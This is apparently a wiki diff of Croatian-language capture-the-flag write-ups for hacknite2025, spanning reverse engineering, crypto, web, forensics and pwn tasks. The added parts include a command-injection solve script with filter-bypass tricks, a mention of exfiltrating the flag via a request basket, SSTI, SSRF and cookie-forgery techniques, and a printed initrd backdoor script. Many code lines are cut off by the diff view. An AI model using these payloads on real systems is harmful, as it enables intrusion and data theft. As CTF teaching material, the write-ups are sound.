hacknite2025
Differences
This shows you the differences between two versions of the page.
| hacknite2025 [2025/11/13 19:11] – [Hotel] mbunic | hacknite2025 [2025/12/01 11:40] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 20: | Line 20: | ||
| </ | </ | ||
| - | Uz zadatak je dana i izvršna datoteka. | + | Uz zadatak je dana izvršna datoteka. |
| - | S pomoću Ghidre, ili drugog alata za reverzno inženjerstvo potrebno je pronaći sve uvijete | + | Uz pomoć Ghidre ili drugog alata za reverzno inženjerstvo potrebno je pronaći sve **if** uvjete |
| Line 93: | Line 93: | ||
| ====rev2==== | ====rev2==== | ||
| - | Puno rješenje zadatka je napisano | + | Rješenje zadatka |
| [[rev2_ghidra|CTF writeup - rev2-Ghidra]] | [[rev2_ghidra|CTF writeup - rev2-Ghidra]] | ||
| - | Također su napisana | + | Također su dostupna |
| [[rev2_angr|CTF writeup - rev2-Angr]] | [[rev2_angr|CTF writeup - rev2-Angr]] | ||
| Line 110: | Line 110: | ||
| </ | </ | ||
| - | Uz zadatak je dana i izvršna datoteka. | + | Uz zadatak je dana izvršna datoteka. |
| Alat za rješavanje ovog zadatka je [[z3|Z3]]. | Alat za rješavanje ovog zadatka je [[z3|Z3]]. | ||
| - | S pomoću Ghidre, ili drugog alata za reverzno inženjerstvo potrebno je pronaći sve uvijete | + | S pomoću Ghidre ili drugog alata za reverzno inženjerstvo potrebno je pronaći sve uvjete |
| Potrebno je instalirati paket z3-solver, za što se preporučuje korištenje venv modula. | Potrebno je instalirati paket z3-solver, za što se preporučuje korištenje venv modula. | ||
| - | Skripta | + | Skripta |
| < | < | ||
| try: | try: | ||
| Line 254: | Line 253: | ||
| - | Analizom izvršne datoteke | + | Analizom izvršne datoteke |
| Line 267: | Line 266: | ||
| </ | </ | ||
| - | Svi uvjeti moraju biti zadovoljeni za cijelo vrijeme | + | Svi uvjeti moraju biti zadovoljeni za cijelo vrijeme |
| ====esrever==== | ====esrever==== | ||
| Line 278: | Line 277: | ||
| </ | </ | ||
| - | Uz zadatak se dobiva | + | Uz zadatak se dobiva izvršna datoteka. |
| Nakon pokretanja programa, program traži unos passworda. | Nakon pokretanja programa, program traži unos passworda. | ||
| Line 312: | Line 311: | ||
| - | Binary Ninja se može koristiti za daljnju analizu | + | Binary Ninja može se koristiti za daljnju analizu izvršne datoteke, nakon čega je moguće lako pronaći main funkciju. |
| < | < | ||
| Line 339: | Line 339: | ||
| </ | </ | ||
| - | Ovo je najbitniji | + | Ovo je ključni |
| - | U ovom djelu koda se može vidjeti pod koji header se postavlja timestamp. | + | U ovom dijelu |
| < | < | ||
| Line 359: | Line 359: | ||
| - | Slanje trenutačnog timestampa je bitno, jer serverska strana može vračati drugačiji odgovor, ovisno o tome koji je timestamp u zahtjevu. | + | Slanje trenutačnog timestampa je bitno, jer serverska strana može vraćati drugačiji odgovor, ovisno o tome koji je timestamp u zahtjevu. |
| - | Kako bi se simuliralo ovo ponašanje, može se napisati bash skripta koja će slati isti zahtjev i zabilježiti | + | Za simulaciju ovog ponašanja može se napisati bash skripta koja šalje |
| Line 407: | Line 407: | ||
| - | Naredbe file i binwalk ne prepoznaju ovu datoteku, kao sto ni Ghidra niti Binary Ninja by default | + | Naredbe file i binwalk ne prepoznaju ovu datoteku, kao sto ni Ghidra niti Binary Ninja po defaultu |
| < | < | ||
| Line 418: | Line 418: | ||
| - | No metode | + | Metode |
| < | < | ||
| Line 447: | Line 447: | ||
| - | Ovaj program će ispisati adresu na koju s pomoću | + | Ovaj program će ispisati adresu na koju s pomoću |
| < | < | ||
| Line 510: | Line 510: | ||
| - | Iz ovih instrukcija vidljivo je koja se arhitektura koristi, prefix r na registrima | + | Iz ovih instrukcija vidljivo je koja se arhitektura koristi, prefix r na registrima |
| < | < | ||
| Line 516: | Line 516: | ||
| </ | </ | ||
| - | koja računa memorijsku adresu kao relativnu adresu s obzirom na instruction pointer (%rip), može se zaključiti da je ovo Position Independent Code za x86-64 arhitekturu. | + | koja računa memorijsku adresu kao relativnu adresu s obzirom na instruction pointer (%rip), može se zaključiti da je ovo Position Independent Code (PIC) za x86-64 arhitekturu. |
| Line 584: | Line 584: | ||
| - | Hardkodirana vrijednost (odnosno | + | Hardkodirana vrijednost (enkriptirani flag) na offsetu 0x351 je |
| Line 593: | Line 593: | ||
| - | Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom [[https:// | + | Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom [[https:// |
| - | {{ hacknite2025: | + | {{ hacknite2025: |
| Line 617: | Line 617: | ||
| - | Analizom koda vidi se da program pokušava otvoriti datoteku **" | + | Analizom koda vidi se da program pokušava otvoriti datoteku **" |
| Line 656: | Line 656: | ||
| </ | </ | ||
| - | Uzevši u obzir da se ovime enkodiraju printable ASCII znakovi, koji mogu imaju vrijednosti | + | Uzevši u obzir da se ovime enkodiraju printable ASCII znakovi, koji mogu imati vrijednosti |
| 32-126, najveći mogući broj dobiven iz bloka od 3 znakova, na poziciji koja je višekratnik broja 10 (ima zadnju znamenku - block counter, 9) je **1261261269**. | 32-126, najveći mogući broj dobiven iz bloka od 3 znakova, na poziciji koja je višekratnik broja 10 (ima zadnju znamenku - block counter, 9) je **1261261269**. | ||
| Line 839: | Line 839: | ||
| </ | </ | ||
| - | Uz zadatak je dostupna | + | Uz zadatak je dostupna izvršna datoteka. |
| Pokretanjem naredbe | Pokretanjem naredbe | ||
| Line 855: | Line 855: | ||
| </ | </ | ||
| - | Datoteka se može UPX raspakirati naredbom | + | Datoteka se može raspakirati naredbom |
| < | < | ||
| Line 869: | Line 869: | ||
| - | Može se vidjeti programski kod i u određenim linijama može se vidjeti **AutoHotkey**, | + | Može se vidjeti programski kod i u određenim linijama može se vidjeti **AutoHotkey**, |
| Line 909: | Line 909: | ||
| </ | </ | ||
| - | Samo računa pomak na status baru i prikazuje ga, no računa ga na jako neefikasan i spor način, uzevši u obzir da se ovo izvršava u petlji | + | Samo računa pomak na status baru i prikazuje ga, ali na vrlo neefikasan i spor način. Uzevši u obzir da se ovo izvršava u petlji |
| < | < | ||
| Line 928: | Line 928: | ||
| - | Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, | + | Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, |
| ====Poligloti==== | ====Poligloti==== | ||
| Line 963: | Line 963: | ||
| - | Zato što izvršio dio datoteke nije stripped, reverzno inženjerstvo s pomoću | + | Zato što izvršni dio datoteke nije "stripped", reverzno inženjerstvo s alatom |
| Line 969: | Line 969: | ||
| - | Može se vidjeti da traži te vrijednosti na određenom pomaku nakon byteova **"PK \x05 \x06" | + | Može se vidjeti da traži te vrijednosti na određenom pomaku nakon byteova **"PK \x05 \x06" |
| < | < | ||
| Line 986: | Line 986: | ||
| - | Sada samo treba pročitati ovu vrijednost, napraviti XOR kako bi se dobio AES ključ i iskoristiti ga zajedno sa postavljenim IV (lakše ga je pročitati iz flagEnc.bin, | + | Sada je potrebno |
| Line 1163: | Line 1163: | ||
| - | Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, | + | Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, |
| - | Pristup deobfuskaciji ovog zadatka je dodavanje i mijenjanje koda u challenge.py, dok se ne dobije čitljiv | + | Pristup deobfuskaciji ovog zadatka je postupno |
| Line 1484: | Line 1484: | ||
| Pretraživanjem po internetu s ovim stringovima, | Pretraživanjem po internetu s ovim stringovima, | ||
| - | Sada se može uz analizu koda dostupnog na GitHub stranici i dekompajliranog koda izvršne datoteke, dokučiti kako radi izvršna datoteka hide, te napisati program koji će pronaći skriveni tekst u slici. | + | Sada se može uz analizu koda dostupnog na GitHub stranici i dekompajliranog koda izvršne datoteke, dokučiti kako radi izvršna datoteka hide te napisati program koji će pronaći skriveni tekst u slici. |
| - | Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se mogu iskoristiti odgovarajuć kod s korištenog | + | Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se može iskoristiti odgovarajući kod s navedenog |
| + | Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R, G, B vrijednosti, | ||
| - | Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R,G,B vrijednosti, | ||
| - | + | Svako slovo skrivenog teksta | |
| - | Potom svako slovo skrivenog teksta skriva kao XOR nad ASCII vrijednosti | + | |
| Line 1641: | Line 1640: | ||
| </ | </ | ||
| - | Rješenje | + | Rješenje zadatka prikazano je na slici u nastavku. |
| {{ hacknite2025: | {{ hacknite2025: | ||
| Line 1654: | Line 1654: | ||
| - | Kod generira 49 nasumičnih 30-znamenkastih | + | Kod generira 49 nasumičnih 30-znamenkastih |
| - | U jednu liniju stavlja sadržaj pročitane | + | Sadržaj datoteke flag.txt |
| Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd. | Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd. | ||
| - | Logika rješenja je prvo pronaći dužinu | + | Rješenje započinje pronalaskom duljine |
| Skripta je dana u nastavku. | Skripta je dana u nastavku. | ||
| Line 1812: | Line 1812: | ||
| Uz zadatak su dani rječnik, izvorni kod korišten za šifriranje i šifrat. | Uz zadatak su dani rječnik, izvorni kod korišten za šifriranje i šifrat. | ||
| - | Pregledom dijela koda u kojem se parsiraju argumenti dani programu i pregledom | + | Pregledom dijela koda u kojem se parsiraju argumenti dani programu i naredbe za pokretanje programa dane u tekstu zadatka, može se zaključiti da je duljina ključa definirana default vrijednostima i da je između 13 i 27 znakova. |
| - | Zadatak | + | Zadatak |
| Line 1820: | Line 1820: | ||
| - | Jednadžba za specifičan pomak po riječi je: | + | Jednadžba za specifičan pomak po riječi |
| < | < | ||
| Line 1826: | Line 1826: | ||
| </ | </ | ||
| - | Gdje su X i Y konstante u programu, koje su iste za svije riječi. | + | Gdje su X i Y konstante u programu, koje su iste za sve riječi. |
| - | Normalna Vigenere | + | Kombinacija normalne Vigenère |
| - | I prvi i drugi korak su riješeni korištenjem indeksa slučajnosti (IC - index of coincidence), | + | Prvi i drugi korak rješavaju se korištenjem indeksa slučajnosti (IC – index of coincidence), |
| - | IC je niži za tekst koji je potpuno nasumičan, a viši je za strukturirani tekst, jer se neka slova puno češće ponavljaju. Za potpuno nasumičan tekst, s brojem znakova u rječniku 38, kao u zadatku, IC potpuno nasumičnog teksta bi bio 1/38 ~ 0.0263. | + | IC je niži za potpuno nasumičan |
| - | Pri pronalasku | + | Pri pronalasku |
| - | X i Y su nasumični | + | X i Y su nasumični |
| - | Broj mogućih kombinacija je onda | + | Broj mogućih kombinacija je time: |
| < | < | ||
| Line 1849: | Line 1849: | ||
| - | To je prihvatljiv broj kombinacija za napravit "bruteforce" | + | Ovo je prihvatljiv broj kombinacija za koristiti |
| + | |||
| Nakon toga je uspješno riješen inverz pomaka po riječi i potrebno je samo riješiti običnu Cezar + Vigenere šifru, što je ekvivalentno samo rješavanju Vigenere šifre s drugim ključem, kao što je već spomenuto. | Nakon toga je uspješno riješen inverz pomaka po riječi i potrebno je samo riješiti običnu Cezar + Vigenere šifru, što je ekvivalentno samo rješavanju Vigenere šifre s drugim ključem, kao što je već spomenuto. | ||
| Line 1858: | Line 1860: | ||
| - | Nakon toga je samo potrebno pronaći | + | Zatim se za svaku skupinu |
| U zadatku se za to koristi ovaj rječnik. | U zadatku se za to koristi ovaj rječnik. | ||
| Line 2029: | Line 2031: | ||
| Uz zadatak su dani kod korišten za generiranje šifrata i šifrat. | Uz zadatak su dani kod korišten za generiranje šifrata i šifrat. | ||
| - | Zadatak generira šifrat na isti način kao u Xorry1 zadatku, | + | Zadatak generira šifrat na sličan |
| Rješenje se temelji na znanim informacijama: | Rješenje se temelji na znanim informacijama: | ||
| Line 2198: | Line 2200: | ||
| - | Ovaj zadatak se može riješiti na više načina, no glavna činjenica koja se koristi za rješenje u nastavku je da što je kandidat ključa sličniji korištenom ključu, to će pokušaj dešifriranja biti sličniji mogućem plaintextu, odnosno pri pokušaju dešifriranja će se više base64 plaintexta moći uspješno dekodirati u validne riječi engleskog rječnika. | + | Ovaj zadatak se može riješiti na više načina. Obilježje algoritma šifriranja koje se koristi za rješenje u nastavku je da što je kandidat ključa sličniji korištenom ključu, to će pokušaj dešifriranja biti sličniji mogućem plaintextu, odnosno pri pokušaju dešifriranja će se više base64 plaintexta moći uspješno dekodirati u validne riječi engleskog rječnika. |
| Zna se da je plaintext bio enkodiran s base64, također se zna da je korišten engleski rječnik kao wordlist pa se dodatno može generirati frequency analysis nad base64 engleskog rječnika danog uz zadatak iako nije potrebno za rješenje. | Zna se da je plaintext bio enkodiran s base64, također se zna da je korišten engleski rječnik kao wordlist pa se dodatno može generirati frequency analysis nad base64 engleskog rječnika danog uz zadatak iako nije potrebno za rješenje. | ||
| - | Rješenje u nastavku koristi | + | Rješenje u nastavku koristi |
| - | Skripta je kompatibilna | + | Skripta je kompatibilna |
| Skripti su potrebne datoteke: | Skripti su potrebne datoteke: | ||
| Line 2554: | Line 2556: | ||
| - | Vrijednost varijable | + | Varijabla |
| Line 2568: | Line 2570: | ||
| vrijednosti r i s su u ispravnim implementacijama javne i nije problem ako se znaju, no problem je što je poznato da je vrijednost k jako mala. | vrijednosti r i s su u ispravnim implementacijama javne i nije problem ako se znaju, no problem je što je poznato da je vrijednost k jako mala. | ||
| - | s se računa | + | s se računa formulom: |
| < | < | ||
| Line 2574: | Line 2576: | ||
| </ | </ | ||
| - | U ovoj jednadžbi, h, s i r su poznati, k i priv (privatni ključ) su nepoznati, ali je k dovoljno mal da se može pronaći | + | U ovoj jednadžbi, h, s i r su poznati, k i privatni ključ |
| Line 2594: | Line 2596: | ||
| - | kada je pronađena vrijednost | + | Kad se pronađe k, može se izračunati privatni |
| Skripta koja ovim postupkom pronalazi flag je u nastavku. | Skripta koja ovim postupkom pronalazi flag je u nastavku. | ||
| Line 2714: | Line 2716: | ||
| Python random modul koristi Mersenne Twister kao generator nasumičnih brojeva iz inicijalnog seeda. | Python random modul koristi Mersenne Twister kao generator nasumičnih brojeva iz inicijalnog seeda. | ||
| - | Pri početku koda se vidi kako je inicijaliziran s punih 624 riječi, što je maximum. | + | |
| + | Pri početku koda se vidi kako je state inicijaliziran s punih 624 riječi, što je maksimum. | ||
| Line 2739: | Line 2742: | ||
| </ | </ | ||
| - | To se u zadatku | + | To se može napraviti slanjem null bajtova, nad kojima se radi XOR operacija s generiranim izlazom servera. |
| Nakon toga se radi inverz operacija za generiranje nasumičnih brojeva iz stanja, i onda kad se uspješno rekonstruiralo stanje, zatraži se enkriptirani flag, predvidi se čime je on bio enkriptiran s pomoću rekonstruiranog stanja i dešifrira se flag. | Nakon toga se radi inverz operacija za generiranje nasumičnih brojeva iz stanja, i onda kad se uspješno rekonstruiralo stanje, zatraži se enkriptirani flag, predvidi se čime je on bio enkriptiran s pomoću rekonstruiranog stanja i dešifrira se flag. | ||
| Line 2857: | Line 2860: | ||
| ====Zapamti me==== | ====Zapamti me==== | ||
| - | Puno rješenje zadatka je napisano | + | Rješenje zadatka |
| Line 2880: | Line 2883: | ||
| </ | </ | ||
| - | Da je obrnuti | + | Da je redoslijed ovih dviju vrijednosti |
| < | < | ||
| Line 2890: | Line 2893: | ||
| Napad ne bi bio moguć. | Napad ne bi bio moguć. | ||
| - | Druga ranjivost je [[sql_injection|SQL Injection]] nad korisnikovom | + | Druga ranjivost je [[sql_injection|SQL Injection]] nad korisnikovim |
| < | < | ||
| Line 2905: | Line 2908: | ||
| - | Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je [[https:// | + | Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je [[https:// |
| Line 2980: | Line 2983: | ||
| - | Ova skripta se može iskoristiti za generaciju payload kolačića iz korisničkog kolačića, nakon što je stvoren korisnički račun, a u nastavku je skripta koja to radi automatizirano, | + | Ova skripta se može iskoristiti za generaciju payload kolačića iz korisničkog kolačića, nakon što je stvoren korisnički račun. U nastavku je skripta koja to radi automatizirano, |
| < | < | ||
| Line 3121: | Line 3124: | ||
| - | Može se riješiti pisanjem odgovarajućeg CURL zahtjeva | + | Zadatak se može riješiti pisanjem odgovarajućeg CURL zahtjeva. |
| < | < | ||
| curl -X POST " | curl -X POST " | ||
| Line 3138: | Line 3142: | ||
| - | odlaskom | + | Odlaskom |
| + | |||
| < | < | ||
| http:// | http:// | ||
| </ | </ | ||
| - | poruka | + | dobije se poruka |
| < | < | ||
| Line 3155: | Line 3160: | ||
| </ | </ | ||
| - | Vide se endpointovi, među kojima se vidi i endpoint | + | Dostupan je pregled endpointova, među kojima se vidi i " |
| < | < | ||
| Line 3165: | Line 3170: | ||
| - | Tu se može vidjeti da se traženjem guest pristupa, šalje hash | + | Može se vidjeti da se traženjem guest pristupa, šalje hash |
| < | < | ||
| Line 3180: | Line 3185: | ||
| Unosom ovog hasha na [[ https:// | Unosom ovog hasha na [[ https:// | ||
| - | vidi se da je ovo sha256 | + | vidi se da je to SHA256 |
| < | < | ||
| Line 3233: | Line 3238: | ||
| </ | </ | ||
| - | Unosom poveznice interne lokacije na koju je premješten admin.html | + | Unosom poveznice interne lokacije na koju je premješten admin.html, vraća se greška da se točke ne prihvaćaju u hostnameu. |
| - | Vraća se greška da se točke ne prihvaćaju u hostnameu. | ||
| - | + | IP adresa se može zapisati u oktalnom zapisu, | |
| - | IP adresa se može zapisati u oktalnom zapisu, | + | |
| Za ovo postoji web [[https:// | Za ovo postoji web [[https:// | ||
| - | Rezultat | + | Rezultat |
| < | < | ||
| Line 3249: | Line 3252: | ||
| </ | </ | ||
| - | Ovime se može riješiti zadatak | + | Ovime je zadatak |
| < | < | ||
| Line 3265: | Line 3268: | ||
| Uz zadatak je dan i izvorni kod zadatka. | Uz zadatak je dan i izvorni kod zadatka. | ||
| - | Ovaj zadatak ima [[race condition | Race condition]] | + | Ovaj zadatak ima ranjivost tipa [[race condition | Race condition]], |
| Skripti se ime datoteke pri učitavanju pretvori u sha256 sažetak imena skripte s dodanom ekstenzijom .py. Skripte se pokreću preko endpointa | Skripti se ime datoteke pri učitavanju pretvori u sha256 sažetak imena skripte s dodanom ekstenzijom .py. Skripte se pokreću preko endpointa | ||
| Line 3274: | Line 3277: | ||
| - | Ako se napravi | + | Ako se kreira |
| Line 3414: | Line 3417: | ||
| Ranjivost ovog zadatka je [[ssti|SSTI]]. | Ranjivost ovog zadatka je [[ssti|SSTI]]. | ||
| - | Python kod unesen preko "session_id" kolacija se može izvršiti | + | |
| + | Python kod unesen preko 'session_id' kolačića | ||
| Oblik payload kolačića je: | Oblik payload kolačića je: | ||
| Line 3424: | Line 3428: | ||
| - | Nakon uspješne | + | Nakon potvrde |
| Skripta koja radi opisano, analizira dostupne module i koristi za čitanje flaga je dana u nastavku. | Skripta koja radi opisano, analizira dostupne module i koristi za čitanje flaga je dana u nastavku. | ||
| Line 3559: | Line 3563: | ||
| </ | </ | ||
| - | što čini ovaj zadatak blind, jer odgovor svakog upita mora biti broj između 0 i 4. | + | To čini zadatak |
| Line 3759: | Line 3763: | ||
| </ | </ | ||
| - | Greška u implementaciji | + | Greška u implementaciji |
| Line 3819: | Line 3823: | ||
| Korisnički unos dan preko stranice se na nesiguran način izvršava kao bash naredba s pomoću subprocess modula. | Korisnički unos dan preko stranice se na nesiguran način izvršava kao bash naredba s pomoću subprocess modula. | ||
| - | Zadatak ima filter na ulazu, | + | Zadatak ima filter na ulazu, |
| - | Zadatak se može riješiti na više načina, nakon Što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i paddat | + | Zadatak se može riješiti na više načina, nakon što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i dopunit |
| - | Također se zadatak može riješiti i crackanjem vraćenog | + | Također se zadatak može riješiti i crackanjem vraćenog |
| - | Skripta koja rješava zadatak | + | |
| + | Skripta koja rješava zadatak | ||
| + | < | ||
| + | import requests | ||
| + | import binascii | ||
| + | |||
| + | # CONFIGURATION | ||
| + | URL = " | ||
| + | |||
| + | def decode_response(hex_string): | ||
| + | try: | ||
| + | decoded_bytes = binascii.unhexlify(hex_string) | ||
| + | return decoded_bytes.decode(' | ||
| + | except Exception as e: | ||
| + | return f" | ||
| + | |||
| + | def solve(): | ||
| + | print(" | ||
| + | |||
| + | # 1. Generate the number 1 (for 'head -n 1') | ||
| + | # logic: count ' | ||
| + | one_gen = " | ||
| + | |||
| + | # 2. Generate the number 64 (for final truncation) | ||
| + | # logic: 64 ' | ||
| + | a_64 = ' | ||
| + | len_gen = f" | ||
| + | |||
| + | # 3. Locate Python binary without using ' | ||
| + | # 'ls / | ||
| + | # We pipe to 'head -n $one' to ensure we get just one line/ | ||
| + | find_py = " | ||
| + | |||
| + | # 4. Python One-Liner | ||
| + | # Reads stdin, strips whitespace, encodes to hex. | ||
| + | # No digits or blacklisted words used here. | ||
| + | py_cmd = " | ||
| + | |||
| + | # 5. Construct the full pipeline | ||
| + | # head f* -> Read flag | ||
| + | # $py -c ... -> Hex encode it using the found python binary | ||
| + | # tr -d ' | ||
| + | raw_gen = f" | ||
| + | |||
| + | # 6. Padding Logic (same as before) | ||
| + | pad_str = ' | ||
| + | |||
| + | # 7. Combine and Print | ||
| + | cmd_logic = ( | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | f" | ||
| + | ) | ||
| + | |||
| + | payload = f"' | ||
| + | |||
| + | print(f" | ||
| + | |||
| + | json_data = {" | ||
| + | |||
| + | try: | ||
| + | res = requests.post(URL, | ||
| + | response = res.json() | ||
| + | |||
| + | if response.get(" | ||
| + | returned_hash = response.get(" | ||
| + | print(f" | ||
| + | |||
| + | decoded = decode_response(returned_hash) | ||
| + | print(" | ||
| + | print(f" | ||
| + | print(" | ||
| + | else: | ||
| + | print(f" | ||
| + | |||
| + | except Exception as e: | ||
| + | print(f" | ||
| + | |||
| + | if __name__ == " | ||
| + | solve() | ||
| + | </ | ||
| + | |||
| + | |||
| + | Skripta koja rješava zadatak korištenjem Basha i generiranjem | ||
| < | < | ||
| Line 3912: | Line 4003: | ||
| print(f" | print(f" | ||
| </ | </ | ||
| + | |||
| Line 3926: | Line 4018: | ||
| Ranjivost u ovom zadatku je [[xss napadi |XSS]]. | Ranjivost u ovom zadatku je [[xss napadi |XSS]]. | ||
| - | U zadatku je potrebno konstruirati prototype pollution XSS napad nad stranicom, ali postavljanjem | + | U zadatku je potrebno konstruirati prototype pollution XSS napad nad stranicom. HOST se treba postaviti |
| Line 3974: | Line 4066: | ||
| - | Puno rješenje zadatka je napisano | + | Rješenje zadatka |
| Line 3988: | Line 4080: | ||
| No pri pokušaju otvaranja ovog kao slike, vraćena je greška da je file signature nepoznat ili neispravan. | No pri pokušaju otvaranja ovog kao slike, vraćena je greška da je file signature nepoznat ili neispravan. | ||
| - | naredbom **file** nad datotekom ili **binwalk**, | + | naredbom **file** nad datotekom ili **binwalk**, |
| - | Zapravo je i sadržaj same datoteke | + | Zapravo je i sadržaj same datoteke |
| Line 4051: | Line 4143: | ||
| - | Ovaj efekt se može napraviti | + | Ovaj efekt se može napraviti |
| Unosom vrijednosti za swirl amount -700, dobiva se jasno vidljiv flag. | Unosom vrijednosti za swirl amount -700, dobiva se jasno vidljiv flag. | ||
| Line 4075: | Line 4167: | ||
| - | Nakon ekstrakcije, | + | Nakon ekstrakcije, |
| < | < | ||
| Line 4116: | Line 4208: | ||
| - | Sam LUKS alat također nije enkriptiran, | + | Sam LUKS alat također nije enkriptiran, |
| < | < | ||
| Line 4132: | Line 4224: | ||
| </ | </ | ||
| - | Sa binwalk se može napravit | + | S binwalk |
| < | < | ||
| Line 4161: | Line 4253: | ||
| **cpio** extract nema opciju odabira output direktorija. | **cpio** extract nema opciju odabira output direktorija. | ||
| + | |||
| + | Sada je cilj napraviti ekstrakt svih .cpio arhiva iz initrd i iz initrd.bak, te ih međusobno usporediti. | ||
| + | |||
| + | < | ||
| + | ~/ | ||
| + | _initrd.img-4.15.0-112-generic.bak.extracted/ | ||
| + | </ | ||
| + | |||
| + | Ova datoteka nema **.cpio** ekstenziju, ali je i dalje cpio arhiva. | ||
| + | Bash skripta koja radi cpio ekstrakt svih datoteka u trenutačnom direktoriju i svim poddirektorijima rekurzivno za koje naredba file vraća "ASCII cpio archive (SVR4 with no CRC)" je u nastavku. | ||
| + | |||
| + | < | ||
| + | find . -type f | while read -r f; do if file " | ||
| + | </ | ||
| + | |||
| + | Ova naredba/ | ||
| + | |||
| + | < | ||
| + | ~/ | ||
| + | ~/ | ||
| + | </ | ||
| + | |||
| + | Sada su svi cpio arhivi raspakirani i sve datoteke u initrd i initrd backupu su dostupne za analizu, | ||
| + | |||
| + | |||
| + | < | ||
| + | ~/ | ||
| + | Only in initrdEX/ | ||
| + | ... | ||
| + | diff -r initrdEX/ | ||
| + | 301c301 | ||
| + | < | ||
| + | --- | ||
| + | > | ||
| + | ... | ||
| + | </ | ||
| + | |||
| + | Vidi se da samo u initrd/bin postoji datoteka **" | ||
| + | |||
| + | Taj file se može pročitati **cat** naredbom. | ||
| + | |||
| + | |||
| + | < | ||
| + | ~/ | ||
| + | #!/bin/sh | ||
| + | |||
| + | # Read piped input | ||
| + | read passphrase | ||
| + | |||
| + | backdoor_passphrase=" | ||
| + | #echo -ne " | ||
| + | echo -ne " | ||
| + | |||
| + | # Echo passphrase out to continue being used in the next pipe | ||
| + | echo -n " | ||
| + | |||
| + | # Erase all traces we were ever here | ||
| + | #rm " | ||
| + | # TODO: replace the backdoored line with the original | ||
| + | |||
| + | exit 0 | ||
| + | </ | ||
| + | |||
| + | |||
| + | Tu se vidi da je postavljen " | ||
| + | |||
| + | < | ||
| + | backdoor_passphrase=" | ||
| + | </ | ||
| + | |||
| + | Pokušajem unosa ovog passworda za otključavanje datotečnog sustava, datotečni sustav se uspješno otključa. | ||
| + | |||
| + | |||
| + | |||
| + | {{ hacknite2025: | ||
| + | |||
| + | |||
| + | Sada se može pronaći gdje se nalazi flag datoteka naredbom **find** te potom pročitati naredbom **cat**. | ||
| + | |||
| + | |||
| + | < | ||
| + | ...$ find ./ -name " | ||
| + | ./ | ||
| + | |||
| + | ...$ cat ./ | ||
| + | CTF2025[2623........] | ||
| + | </ | ||
| + | |||
| + | Kada ste gotovi napravite unmount. | ||
| + | |||
| + | < | ||
| + | sudo umount /mount | ||
| + | sudo qemu-nbd --disconnect /dev/nbd0 | ||
| + | sudo modprobe -r nbd | ||
| + | </ | ||
| + | |||
| + | |||
| + | Ovaj zadatak se temelji na forenzici [[https:// | ||
| + | |||
| + | |||
| Line 4178: | Line 4370: | ||
| - | Nakon ekstrakcija | + | Nakon ekstrakcije |
| Za to je potreban paket **qemu-utils** | Za to je potreban paket **qemu-utils** | ||
| Line 4233: | Line 4425: | ||
| - | U direktoriju ovog korisnika, | + | U direktoriju ovog korisnika, |
| < | < | ||
| Line 4249: | Line 4441: | ||
| - | Vidi se da ima više zabilježenih zapisa o stranici [[https:// | + | Vidi se da ima više zabilježenih zapisa o stranici [[https:// |
| - | No ostalo je još nešto zanimljivo | + | Među datotekama se nalazi |
| < | < | ||
| Line 4478: | Line 4670: | ||
| A vrijednost **a** se postavlja kao zadnji uneseni broj. **scanf** vraća broj pravilno upisanih formata, što znači da je potrebno upisati 5 brojeva, kako bi scanf vratio 5 i kako bi se onda izazvalo pozivanje slučaja 5. | A vrijednost **a** se postavlja kao zadnji uneseni broj. **scanf** vraća broj pravilno upisanih formata, što znači da je potrebno upisati 5 brojeva, kako bi scanf vratio 5 i kako bi se onda izazvalo pozivanje slučaja 5. | ||
| - | Format rješenja je 5 unesenih | + | Format rješenja je unos 5 brojeva, od kojih zadnji broj mora imati 18. bit slijeva postavljen na 1. |
| ...xx**1**xxxxxxxxxxxxxxxxx | ...xx**1**xxxxxxxxxxxxxxxxx | ||
| Line 4540: | Line 4732: | ||
| Uz zadatak je dan i izvorni kod. | Uz zadatak je dan i izvorni kod. | ||
| - | Pregledom koda, može se vidjeti da postoji unsigned integer underflow, koji će u slučaju da score postane -1, zbog underflowa | + | Pregledom koda, može se vidjeti da postoji unsigned integer underflow, koji će u slučaju da score postane -1, zbog underflowa |
| U funkciji za upis imena se nalazi [[ret2win|Ret2win]] ranjivost. | U funkciji za upis imena se nalazi [[ret2win|Ret2win]] ranjivost. | ||
| Line 4556: | Line 4748: | ||
| - | Ovdje se funkcijom **gets** čita neograničen korisnički unos u buffer veličine 32 bajta. | + | Ovdje se funkcijom **gets** čita neograničen korisnički unos u buffer veličine 32 bajta. |
| < | < | ||
| Line 4777: | Line 4969: | ||
